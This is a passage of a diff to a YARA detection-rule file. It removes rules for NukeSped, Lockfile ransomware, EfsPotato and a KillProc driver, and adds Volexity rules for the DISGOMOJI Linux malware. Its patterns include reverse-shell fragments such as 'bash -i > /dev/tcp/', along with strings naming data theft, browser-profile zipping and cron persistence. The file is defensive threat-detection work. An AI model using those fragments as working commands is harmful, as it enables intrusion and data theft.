+		logic_hash = "d9be4846bab5fffcfd60eaec377443819404f30ec088905c2ee26bd3b7525832"
 		score = 75
-		quality = 48
-		tags = "FILE"
-		hash1 = "2dd57d67e486d6855df8235c15c9657f39e488ff5275d0ce0fcec7fc8566c64b"
+		quality = 80
+		tags = "UTA0137, FILE, MEMORY"
+		hash1 = "51a372fee89f885741515fa6fdf0ebce860f98145c9883f2e3e35c0fe4432885"
+		os = "linux"
+		os_arch = "all"
+		scan_context = "file,memory"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 10269
+		version = 3
 
 	strings:
-		$s1 = "bash -i > /dev/tcp/" fullword ascii
-		$s2 = "__mh_execute_header" fullword ascii
-		$s3 = "/bin/bash -c \"" fullword ascii
-		$s4 = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" fullword ascii
-		$s5 = "@_gethostbyname" fullword ascii
-		$s6 = "@_gethostname" fullword ascii
-		$s7 = "radr://5614542" fullword ascii
-		$s8 = "sh -c \"" fullword ascii
-		$s9 = "content-type: multipart/form-data" fullword ascii
-		$s10 = "@___stack_chk_fail" fullword ascii
-		$s11 = "/usr/lib/libSystem.B.dylib" fullword ascii
-		$s12 = "@dyld_stub_binder" fullword ascii
+		$s1 = "discord-c2/test/main/delievery.go" wide ascii
 
 	condition:
-		uint16(0)==0xfacf and filesize <200KB and 10 of them
+		$s1
 }
-import "pe"
-
-rule ARKBIRD_SOLG_APT_MAL_NK_Lazarus_Nukesped_June_2020_1 : FILE
+rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Debug_String : UTA0137 FILE MEMORY
 {
 	meta:
-		description = "Detect NukeSped malware used by APT Lazarus"
-		author = "Arkbird_SOLG"
-		id = "7a5b27df-43bd-544d-8d0f-72e58ce3064c"
-		date = "2020-06-11"
-		modified = "2020-06-12"
-		reference = "https://twitter.com/batrix20/status/1270924079826997248"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-12/Lazarus/Lazarus_June_2020_1.yar#L28-L54"
-		license_url = "N/A"
-		logic_hash = "b1332eb255f8ae9ae6a68ef8ef86d9f5472584cae8161c27186e341990df7eae"
+		description = "Detects the DISGOMOJI malware using strings in the ELF."
+		author = "threatintel@volexity.com"
+		id = "a1bbf285-a8ad-5877-ae2a-a7dd5e61cf46"
+		date = "2024-02-22"
+		modified = "2024-02-27"
+		reference = "TIB-20240228"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L48-L69"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "030d8044b5d17ba8786ff7a4d6ac0282bc0b0e193ad89a3e84b5ba44505e5be5"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "90ea1c7806e2d638f4a942b36a533a1da61adedd05a6d80ea1e09527cf2d839b"
+		quality = 80
+		tags = "UTA0137, FILE, MEMORY"
+		hash1 = "d9f29a626857fa251393f056e454dfc02de53288ebe89a282bad38d03f614529"
+		os = "linux"
+		os_arch = "all"
+		scan_context = "file,memory"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 10268
+		version = 5
 
 	strings:
-		$s1 = "%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X" fullword wide
-		$s2 = "<htr<jtb<lt6<tt&<wt" fullword ascii
-		$s3 = "Content-Disposition: form-data; name=\"file\"; filename=\"%s\"" fullword ascii
-		$s4 = "Content-Type: multipart/form-data; boundary=" fullword wide
-		$s5 = "POST" fullword ascii
-		$s6 = "Content-Type: octet-stream" fullword ascii
-		$s7 = "CONOUT$" fullword ascii
-		$s8 = "cmd.exe /c" fullword ascii
-		$s9 = "2>&1" fullword ascii
-		$s10 = "WINHTTP.dll" fullword ascii
-		$s11 = "WinHttpSendRequest" fullword wide
-		$s12 = "ObtainUserAgentString" fullword ascii
-		$s13 = "WS2_32.dll" fullword ascii
-		$s14 = "WinHttpReceiveResponse" fullword ascii
-		$s15 = "GetLogicalDrives" fullword ascii
+		$s1 = "discord-c2/test/main/payload.go" wide ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and (pe.imphash()=="c8379f0eeeb3a522f1dd75aa5f1500b0" or 12 of them )
+		$s1
 }
-rule ARKBIRD_SOLG_MAL_Loader_Lockfile_Aug_2021_1 : FILE
+rule VOLEXITY_Apt_Malware_Linux_Disgomoji_2 : UTA0137 FILE MEMORY
 {
 	meta:
-		description = "Detect loader used by lockerfile group"
-		author = "Arkbird_SOLG"
-		id = "031335f3-e6c7-5e94-af23-c7fb254203b7"
-		date = "2021-08-28"
-		modified = "2021-08-29"
-		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/MAL_loader_Lockfile_Aug_2021_1.yara#L1-L16"
-		license_url = "N/A"
-		logic_hash = "622a673d5cb9832cf0abc9942bf0e1f64bcdbd99524dea0bd64698fffa815a9b"
+		description = "Detects the DISGOMOJI malware using strings in the ELF."
+		author = "threatintel@volexity.com"
+		id = "609beb47-5e93-5f69-b89d-2cf62f20851a"
+		date = "2024-02-22"
+		modified = "2024-02-27"
+		reference = "TIB-20240228"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L71-L101"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "e03a774cca2946c1becdbd775ef465033dae089d578ea18a4f43fd7bdae9168e"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "ed834722111782b2931e36cfa51b38852c813e3d7a4d16717f59c1d037b62291"
-		adversary = "Lockfile"
+		quality = 80
+		tags = "UTA0137, FILE, MEMORY"
+		hash1 = "d9f29a626857fa251393f056e454dfc02de53288ebe89a282bad38d03f614529"
+		os = "linux"
+		os_arch = "all"
+		scan_context = "file,memory"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 10266
+		version = 5
 
 	strings:
-		$s1 = "c:\\windows\\system32\\calc.exe" fullword ascii
-		$s2 = { 49 48 85 c0 7f ec eb 0a 33 c9 66 89 0c 45 [2] 01 10 68 [2] 00 10 68 [2] 01 10 ff 15 [2] 00 10 6a 00 68 80 00 00 00 6a 03 6a 00 6a 02 68 00 00 00 80 68 [2] 01 10 ff 15 [2] 00 10 83 f8 ff 75 08 6a 00 ff 15 [2] 00 10 50 ff 15 [2] 00 10 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc }
-		$s3 = "/proc/123/stat" fullword ascii
-		$s4 = { 33 c5 89 45 fc a1 [2] 00 10 8b 15 [2] 00 10 8b 0d [2] 00 10 56 89 45 dc 66 a1 [2] 00 10 57 89 55 e4 89 4d e0 8a 0d [2] 00 10 66 89 45 e8 33 c0 8d 55 dc 68 [2] 00 10 52 bf [2] 00 10 88 4d ea 89 45 eb 89 45 ef 89 45 f3 89 45 f7 88 45 fb e8 [2] 00 00 8b f0 83 c4 08 85 f6 74 44 8d 64 24 00 56 e8 [2] 00 00 83 c4 04 83 f8 ff 74 29 83 f8 28 75 ed 56 e8 [2] 00 00 83 c4 04 83 f8 ff 74 16 0f be 0f 3b c1 75 0f 56 47 e8 [2] 00 00 83 c4 04 83 f8 ff 75 ea 56 e8 [2] 00 00 83 c4 04 6a 00 ff 15 }
+		$s1 = "downloadFileFromURL" wide ascii
+		$s2 = "createCronJob" wide ascii
+		$s3 = "findAndSendFiles" wide ascii
+		$s4 = "updateLogFile" wide ascii
+		$s5 = "handleZipFile" wide ascii
+		$s6 = "takeScreenshot" wide ascii
+		$s7 = "zipFirefoxProfile" wide ascii
+		$s8 = "zipDirectoryWithParts" wide ascii
+		$s9 = "uploadAndSendToOshi" wide ascii
+		$s10 = "uploadAndSendToLeft" wide ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >10KB and 3 of ($s*)
+		7 of them
 }
-rule ARKBIRD_SOLG_RAN_Lockfile_Packed_Aug_2021_1 : FILE
+rule VOLEXITY_Apt_Malware_Linux_Disgomoji_1 : UTA0137 FILE MEMORY
 {
 	meta:
-		description = "Detect lockfile ransomware (Packed version)"
-		author = "Arkbird_SOLG"
-		id = "7c1631d0-5bec-5b44-b4b2-5ddf1dbd7222"
-		date = "2021-08-28"
-		modified = "2021-08-29"
-		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/RAN_Lockfile_Packed_Aug_2021_1.yara#L1-L18"
-		license_url = "N/A"
-		logic_hash = "a52b2715d505a657c3cd7cd31efb47c16a0ec943a4e1b742bd3ec5c6e46495c9"
-		score = 50
-		quality = 75
-		tags = "FILE"
-		hash1 = "2a23fac4cfa697cc738d633ec00f3fbe93ba22d2498f14dea08983026fdf128a"
-		hash2 = "bf315c9c064b887ee3276e1342d43637d8c0e067260946db45942f39b970d7ce"
-		level = "Experimental"
-		adversary = "Lockfile"
+		description = "Detects the DISGOMOJI malware using strings in the ELF."
+		author = "threatintel@volexity.com"
+		id = "f6643e9a-ca41-57e0-9fce-571d340f1cfe"
+		date = "2024-02-22"
+		modified = "2024-02-27"
+		reference = "TIB-20240228"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L103-L129"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "dd3535079881ae9cfe25c129803668cb595be89b7f62eb82af19cc3839f92b6d"
+		score = 75
+		quality = 80
+		tags = "UTA0137, FILE, MEMORY"
+		hash1 = "d9f29a626857fa251393f056e454dfc02de53288ebe89a282bad38d03f614529"
+		os = "linux"
+		os_arch = "all"
+		scan_context = "file,memory"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 10265
+		version = 4
 
 	strings:
-		$s1 = { 90 03 ?? 40 58 4a bc 3c 64 e4 5d 2e 44 45 45 45 ?? 72 48 8e 45 45 43 45 [6] 08 f6 33 45 [5] 01 e9 e3 }
-		$s2 = { 5b 22 48 0f 5b 22 48 0f 5b 22 48 bb c7 d3 48 03 5b 22 48 bb c7 d1 48 97 5b 22 48 bb c7 d0 48 16 5b 22 48 69 34 df 48 0e 5b 22 48 5d 2e 26 49 1d 5b 22 48 5d 2e 21 49 05 5b 22 48 59 2e 27 49 28 5b 22 48 59 2e 21 49 0e 5b 22 48 5d 2e 27 49 58 5b 22 48 06 23 b1 48 02 5b 22 48 0f 5b 23 48 bf 5b 22 48 59 2e 2b 49 0d 5b 22 48 59 2e dd 48 0e 5b 22 48 59 2e 20 49 0e 5b 22 48 52 69 63 68 0f 5b 22 48 }
-		$s3 = { 44 fc 90 a9 [0-4] 1c 79 38 10 [0-4] 18 20 72 0e [2-5] 3f [0-4] 24 34 6c 05 fc [0-4] 23 40 }
-		$s4 = { c3 df [0-4] 10 4c c8 20 d3 55 56 57 41 54 41 55 }
+		$s1 = "Session *%s* opened!" wide ascii
+		$s2 = "uevent_seqnum.sh" wide ascii
+		$s3 = "Error downloading shell script: %v" wide ascii
+		$s4 = "Error setting execute permissions: %v" wide ascii
+		$s5 = "Error executing shell script: %v" wide ascii
+		$s6 = "Error creating Discord session" wide ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >10KB and all of ($s*)
+		4 of them
 }
-rule ARKBIRD_SOLG_Tool_Efspotatoe_Aug_2021_1 : FILE
+rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Bogus_Strings : UTA0137 FILE
 {
 	meta:
-		description = "Detect custom .NET variant EFSPotatoe tool"
-		author = "Arkbird_SOLG"
-		id = "614a6543-89ce-5f75-9933-766fd1e5458b"
-		date = "2021-08-27"
-		modified = "2021-08-29"
-		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/Tool_EFSPotatoe_Aug_2021_1.yara#L1-L19"
-		license_url = "N/A"
-		logic_hash = "a9fed543aeaba380688ec59034b0e8c90fc0bea986085958966101bd44cf480f"
+		description = "Detects the DISGOMOJI malware using bogus strings introduced in the newer versions."
+		author = "threatintel@volexity.com"
+		id = "ecff8d3c-d4fe-5b6d-a227-6ff531cf8e2b"
+		date = "2024-03-14"
+		modified = "2024-03-14"
+		reference = "TIB-20240318"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L131-L157"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "0d8a2b371ffb182e60a8cc0cc500d1a9f906718a55f23f35f6c12f7faabbe971"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "c372c54b11465688201e2d48ffd5fd5b0ca49360858a70ce8413f5c9e24c8050"
-		hash2 = "441cb0576151b2e5b5127be72a5bcdf3577a596f0a4e1f2c6836248fe07eb818"
-		adversary = "Lockfile"
+		quality = 80
+		tags = "UTA0137, FILE"
+		hash1 = "8c8ef2d850bd9c987604e82571706e11612946122c6ab089bd54440c0113968e"
+		os = "linux"
+		os_arch = "all"
+		scan_context = "file"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 10341
+		version = 3
 
 	strings:
-		$s1 = { 5c 00 70 00 69 00 70 00 65 00 5c 00 6c 00 73 00 61 00 72 00 70 00 63 }
-		$s2 = "ncacn_np" fullword wide
-		$s3 = "WinSta0\\Default" fullword wide
-		$s4 = { 11 00 72 cc 01 00 70 28 06 00 00 0a 00 dd de 02 00 00 00 de 12 07 14 fe 01 13 0f 11 0f 2d 07 07 6f 0f 00 00 0a 00 dc 00 28 10 00 00 0a 13 10 12 10 72 16 02 00 70 28 11 00 00 0a 0d 72 1a 02 00 70 09 72 2e 02 00 70 28 12 00 00 0a 13 04 11 04 19 16 1f 0a 20 00 08 00 00 20 00 08 00 00 16 7e 0d 00 00 0a 28 06 00 00 06 13 05 11 05 15 73 13 00 00 0a 28 14 00 00 0a 16 fe 01 13 0f 11 0f 2d 25 00 72 48 02 00 70 28 0e 00 00 0a 73 15 00 00 0a 6f 16 00 00 0a 28 0a 00 00 0a 28 06 00 00 0a 00 38 4a 02 00 00 16 73 17 00 00 0a 13 06 14 fe 06 04 00 00 06 73 18 00 00 0a 73 19 00 00 0a 13 07 11 07 17 6f 1a 00 00 0a 00 11 07 18 8d 01 00 00 01 13 11 11 11 16 11 05 8c 15 00 00 01 a2 11 11 17 11 06 a2 11 11 6f 1b 00 00 0a 00 14 fe 06 03 00 00 06 73 18 00 00 0a 73 19 00 00 0a 13 08 11 08 17 6f 1a 00 00 0a 00 11 08 09 6f 1b 00 00 0a 00 11 06 20 e8 03 00 00 6f 1c 00 00 0a 16 fe 01 13 0f 11 0f 3a 93 01 00 00 00 11 05 28 08 00 00 06 16 fe 01 13 0f 11 0f 3a 7c 01 00 00 00 28 08 00 00 0a 6f 0b 00 00 0a 13 09 72 7c 02 00 70 11 09 8c 15 00 00 01 28 1d 00 00 0a 28 06 00 00 0a 00 12 0a fe 15 08 00 00 02 12 0a 11 0a 28 02 00 00 2b 7d 1d 00 00 04 12 0a 7e 0d 00 00 0a 7d 1e 00 00 04 12 0a 17 7d 1f 00 00 04 12 0b 12 0c 12 0a 20 00 04 00 00 28 0b 00 00 06 26 12 0d fe 15 06 00 00 02 12 0e fe 15 07 00 00 02 12 0e 11 0e 28 03 00 00 2b 7d 0b 00 00 04 12 0e 11 0c 7d 1c 00 00 04 12 0e 11 0c 7d 1b 00 00 04 12 0e 72 9c 02 00 70 7d 0d 00 00 04 12 0e 20 01 01 00 00 7d 16 00 00 04 12 0e 16 7d 17 00 00 04 }
-		$s5 = "EfsPotato <cmd>" wide
-		$s6 = "\\\\.\\pipe\\" wide
+		$s1 = "Graphics Display Rendering" wide ascii
+		$s2 = "Error fetching Repository Key: %v" wide ascii
+		$s3 = "Error reading Repository Key: %v" wide ascii
+		$s4 = "Error fetching dpkg: %v" wide ascii
+		$s5 = "GNU Drivers Latest version v1.4.2" wide ascii
+		$s6 = "ps_output.txt" wide ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >10KB and 5 of ($s*)
+		all of them
 }
-rule ARKBIRD_SOLG_RAN_Lockfile_Aug_2021_1 : FILE
+rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Script_Uevent_Seqnum : UTA0137 FILE
 {
 	meta:
-		description = "Detect Lockfile ransomware (unpacked version)"
-		author = "Arkbird_SOLG"
-		id = "4abe2e70-5df9-5c5c-ac11-0c958d5430b7"
-		date = "2021-08-28"
-		modified = "2021-08-29"
-		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/RAN_Lockfile_Aug_2021_1.yara#L1-L19"
-		license_url = "N/A"
-		logic_hash = "6fc04316b8b4790494a8c88c8435245a051b2757e5936a5ef95cae2f05907b63"
-		score = 50
-		quality = 75
-		tags = "FILE"
-		hash1 = "3303a19789a73fa70a107f8e35a4ce10bb4f6a69ac041a1947481ed8ae99a11c"
-		level = "experimental"
-		adversary = "Lockfile"
+		description = "Detects a script deployed as part of DISGOMOJI malware chain."
+		author = "threatintel@volexity.com"
+		id = "9df61164-6a92-5042-ba4f-64dc7e998283"
+		date = "2024-03-07"
+		modified = "2024-03-14"
+		reference = "TIB-20240318"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L159-L185"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "e390e83d9fc15499c9f32ad47d1c526273105602bda7b3532720b0a3f6abc835"
+		score = 75
+		quality = 80
+		tags = "UTA0137, FILE"
+		hash1 = "98b24fb7aaaece7556aea2269b4e908dd79ff332ddaa5111caec49123840f364"
+		os = "linux"
+		os_arch = "all"
+		scan_context = "file"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 10314
+		version = 3
 
 	strings:
-		$s1 = { 80 32 41 48 8d 52 01 ff c1 81 f9 d1 57 00 00 72 ef 4c 8d 05 78 d4 06 00 33 d2 33 c9 ff 15 06 9a 05 00 48 8b d8 ff 15 0d 9a 05 00 48 8b cb 3d b7 00 00 00 75 14 ff 15 0d 9a 05 00 33 c0 48 81 c4 d0 03 00 00 41 5c 5b 5d c3 4c 89 b4 24 c8 03 00 00 4c 89 bc 24 c0 03 00 00 ff 15 e9 99 05 00 ff }
-		$s2 = "winsta0\\default" fullword ascii
-		$s3 = { 55 56 57 48 8d 6c 24 f0 48 81 ec 10 01 00 00 33 db 48 8b f1 48 89 5c 24 68 48 89 5d 40 48 89 5c 24 60 ff 15 0b a2 05 00 8b c8 89 45 38 48 8d 54 24 68 ff 15 1b a5 05 00 0f 57 c0 8d 7b 30 33 c0 48 89 45 00 48 89 45 98 48 8d 05 d4 db 06 00 0f 11 45 a0 c7 45 a0 68 00 00 00 0f 11 45 b0 48 89 45 b0 0f 11 45 c0 0f 11 45 d0 0f 11 45 e0 0f 11 45 f0 0f 11 45 88 ff 15 17 a2 05 00 4c 8d 44 24 60 ba eb 01 02 00 48 8b c8 ff 15 4c a1 05 00 85 c0 0f 84 10 01 00 00 4c 8d 44 24 70 33 c9 48 8d 15 8e db 06 00 ff 15 28 a1 05 00 85 c0 0f 84 f4 00 00 00 48 8b 44 24 70 44 8d 4b 01 48 8b 4c 24 60 45 33 c0 48 89 44 24 7c ba 00 00 00 02 48 8d 45 40 c7 44 24 78 01 00 00 00 48 89 44 24 28 c7 44 24 20 01 00 00 00 c7 45 84 02 00 00 00 ff 15 ef a0 05 00 85 }
-		$s4 = { 48 8d 85 18 03 00 00 40 88 74 24 53 48 89 44 24 30 4c 8d 4c 24 44 48 8b 05 57 04 0c 00 48 8d 15 f0 dd 06 00 48 89 44 24 28 48 8d 8d d0 01 00 00 48 8d 45 b0 4c 8b c3 48 89 44 24 20 e8 13 f3 ff ff 48 89 74 24 30 48 8d 8d d0 01 00 00 c7 44 24 28 80 00 00 00 45 33 c9 45 33 c0 c7 44 24 20 02 00 00 00 ba 00 00 00 c0 ff 15 a6 a3 05 00 44 8b 05 8f fe 07 00 48 8d 4d 88 48 8b f8 e8 23 b5 ff ff 48 83 }
-		$s5 = { 3c 63 6f 6d 70 75 74 65 72 6e 61 6d 65 3e 25 73 3c 2f 63 6f 6d 70 75 74 65 72 6e 61 6d 65 3e 00 3c 62 6c 6f 63 6b 6e 75 6d 3e 25 64 3c 2f 62 6c 6f 63 6b 6e 75 6d 3e 00 25 73 5c 25 73 2d 25 73 2d 25 64 25 73 }
-		$s6 = { 33 d2 48 8d 8d c0 00 00 00 41 b8 04 01 00 00 e8 48 99 03 00 48 8d 95 10 03 00 00 c7 85 10 03 00 00 04 01 00 00 48 8d 4d b0 ff 15 c5 a5 05 00 4c 8d 45 b0 48 8d 15 2a df 06 00 48 8d 8d c0 00 00 00 e8 96 f4 ff ff 44 8d 46 02 48 8d 15 33 df 06 00 48 8d 4c 24 68 e8 81 f4 ff ff c6 85 18 03 00 00 2f 8b ce c6 85 19 03 00 00 69 c6 85 1a 03 00 00 75 c6 85 1b 03 00 00 62 40 88 b5 1c 03 00 00 0f b6 }
+		$s1 = "USB_DIR=\"/media/$USER\"" wide ascii
+		$s2 = "RECORD_FILE=\"record.txt\"" wide ascii
+		$s3 = "copy_files()" wide ascii
+		$s4 = "Check for connected USB drives" wide ascii
+		$s5 = "Check if filename already exists in record.txt" wide ascii
+		$s6 = "Function to copy files from USB drive to destination folder" wide ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >10KB and 5 of ($s*)
+		3 of them
 }
-rule ARKBIRD_SOLG_MAL_Killproc_Aug_2021_1 : FILE
+rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Script_Lan_Conf : UTA0137 FILE
 {
 	meta:
-		description = "Detect KillProc driver used by Night Dragon for kill process before encryption"
-		author = "Arkbird_SOLG"
-		id = "b0d6a21d-f451-58c9-b640-ad57feec7c38"
-		date = "2021-08-27"
-		modified = "2021-08-29"
-		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/MAL_KillProc_Aug_2021_1.yara#L1-L21"
-		license_url = "N/A"
-		logic_hash = "d24634e7719e3b6be3322b07c3e754e8c1275c73102c6d7f8d9abaae9887a0da"
+		description = "Detects a script deployed as part of DISGOMOJI malware chain."
+		author = "threatintel@volexity.com"
+		id = "b338b3cf-22ce-5767-bdea-503e883bc84b"
+		date = "2024-03-07"
+		modified = "2024-03-14"
+		reference = "TIB-20240318"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L187-L213"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "2a19d5cff7adc9b1b92538a5df4e3cadea694f925f65080f5093fc5425e840f4"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "36e8bb8719a619b78862907fd49445750371f40945fefd55a9862465dc2930f9"
-		adversary = "Lockfile"
+		quality = 80
+		tags = "UTA0137, FILE"
+		hash1 = "0b5cf9bd917f0af03dd694ff4ce39b0b34a97c9f41b87feac1dc884a684f60ef"
+		os = "linux"
+		os_arch = "all"
+		scan_context = "file"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 10312
+		version = 4
 
 	strings:
-		$s1 = "find %s!\n" fullword ascii
-		$s2 = "killed %s!\n" fullword ascii
-		$s3 = "DbgPrint" fullword ascii
-		$s4 = "ntoskrnl.exe" fullword ascii
-		$s5 = "SBPIMSvc.exe" fullword ascii
-		$s6 = "MsMpEng.exe" fullword ascii
-		$s7 = { 48 8b ce ff 15 92 cf ff ff 48 8b d0 48 8b cb ff 15 8e cf ff ff 48 8d 7f 08 85 c0 74 0d 48 8b 1f 44 38 23 75 db e9 a7 00 00 00 48 8b ce ff 15 68 cf ff ff 48 8b d0 48 8d 0d 6e bf ff ff ff 15 70 cf ff ff 48 8b ce ff 15 37 cf ff ff 8b c8 48 8d 54 24 40 ff 15 3a cf ff ff 85 c0 78 56 48 8b 4c 24 40 48 8d 84 24 a8 00 00 00 48 89 44 24 30 45 33 c9 44 88 64 24 28 45 33 c0 33 d2 4c 89 64 24 20 ff 15 04 cf ff ff 85 c0 74 05 45 32 f6 eb 41 48 8b 8c 24 a8 00 00 00 33 d2 ff 15 0b cf ff ff 48 8b 8c 24 a8 00 00 00 ff 15 0d cf ff ff 41 b6 01 eb 05 45 84 f6 74 19 48 8b ce ff 15 da ce ff ff 48 8b d0 48 8d 0d f0 be ff ff ff 15 e2 ce ff ff 48 8b ce ff 15 a1 ce ff ff 48 83 }
-		$s8 = "UpdaterUI.exe" fullword ascii
-		$s9 = "VipreNis.exe" fullword ascii
+		$s1 = "add_lan_conf_cron_if_not_exists" wide ascii
+		$s2 = "download_if_not_exists" wide ascii
+		$s3 = "add_cron_if_not_exists" wide ascii
+		$s4 = "uevent_seqnum.sh" wide ascii
+		$s5 = "$HOME/.x86_64-linux-gnu" wide ascii
+		$s6 = "lanConfScriptPath" wide ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >3KB and 6 of ($s*)
+		4 of them
 }
-rule ARKBIRD_SOLG_MAL_Kernel_Driver_Aug_2021_1 : FILE
+rule VOLEXITY_Malware_Golang_Discordc2_Bmdyy_1 : FILE MEMORY
 {
 	meta:
-		description = "Detect kernel driver used by lockfile group"
-		author = "Arkbird_SOLG"
-		id = "80bf5286-6da6-5380-ad14-345d8122d3d4"
-		date = "2021-08-28"
-		modified = "2021-08-29"
-		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/MAL_Kernel_Driver_Aug_2021_1.yara#L1-L21"
-		license_url = "N/A"
-		logic_hash = "225bd5995d3f1ed4c0bcb43c862662c9e5badd96a87d779d3bc6f1809d0ce3bb"
+		description = "Detects a opensource malware available on github using strings in the ELF. DISGOMOJI used by UTA0137 is based on this malware."
+		author = "threatintel@volexity.com"
+		id = "6816d264-4311-5e90-948b-2e27cdf0b720"
+		date = "2024-03-28"
+		modified = "2024-03-28"
+		reference = "TIB-20240229"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L215-L241"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "22b3e5109d0738552fbc310344b2651ab3297e324bc883d5332c1e8a7a1df29b"
 		score = 75
-		quality = 50
-		tags = "FILE"
-		hash1 = "5a08ecb2fad5d5c701b4ec42bd0fab7b7b4616673b2d8fbd76557203c5340a0f"
-		hash2 = "0d18c704049700efd1353055b604072d94bcc3e5f4aa558adf8b8f8848330644"
-		hash3 = "2b7ffe47b3fabf81a76386ee953d281aeaa158f4926896fcc1425c3844e73597"
-		hash4 = "61423a95146d5fca47859e43d037944edb32f2004d86e14c7a522270bde6e2a8f"
-		adversary = "Lockfile"
+		quality = 80
+		tags = "FILE, MEMORY"
+		hash1 = "de32e96d1f151cc787841c12fad88d0a2276a93d202fc19f93631462512fffaf"
+		os = "all"
+		os_arch = "all"
+		scan_context = "file,memory"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 10390
+		version = 2
 
 	strings:
-		$s1 = "\\BaseNamedObjects\\{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}" fullword wide
-		$s2 = "\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%ws" fullword wide
-		$s3 = "\\DosDevices\\%wS" fullword wide
-		$s4 = "%temp%\\" fullword wide
